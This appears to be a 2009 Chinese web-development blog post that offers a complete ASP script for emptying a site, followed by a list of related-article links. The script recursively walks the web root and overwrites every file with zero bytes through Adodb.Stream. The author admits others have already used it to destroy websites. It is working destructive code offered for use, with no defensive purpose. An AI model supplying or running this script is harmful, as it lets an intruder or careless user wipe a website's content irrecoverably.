自动清空站点目录下所有文件
时间:2009-06-24 11:11:00
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自本站,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
标签:目录,文件,内容
0
投稿
猜你喜欢
IE6中隐形的PNG8图片
2009-11-27 18:38:00
SQLServer Execpt和not in 性能区别
2012-01-29 17:53:24
asp清理缓存的代码
2011-03-09 11:16:00
WEB2.0网页制作标准教程(12)XHTML校验及常见错误
2008-02-19 19:59:00
清除代码异味
2011-05-21 08:34:00
在Asp程序中取得表单所有内容的方法
2010-04-24 16:07:00
ASP CacheControl 属性
2009-04-28 13:09:00
为什么视觉设计师需要懂HTML
2009-06-25 14:16:00
asp 存储过程分页代码第1/2页
2011-04-03 10:39:00
asp之让Session永不过期
2011-04-15 10:42:00
教你快速掌握两个SQL Server的维护技巧
2009-01-15 13:31:00
HTML,CSS和JavaScript速查表
2010-09-16 13:02:00
用Asp修改注册表
2008-01-04 12:33:00
sina和265天气预报调用代码
2007-11-19 13:32:00
Persits AspJpeg组件图片水印\\缩略图\\图片合并\\图片切割\\实例教程
2008-12-14 10:36:00
JavaScript基础知识篇-你真的了解JavaScript吗?
2009-09-17 13:00:00
asp如何验证信用卡是否可用?
2010-06-10 18:39:00
css3弹性盒模型
2010-05-10 20:47:00
VS 2008的性能改进
2007-10-07 21:42:00
窥探jQuery——面向JavaScript程序员
2008-06-17 14:35:00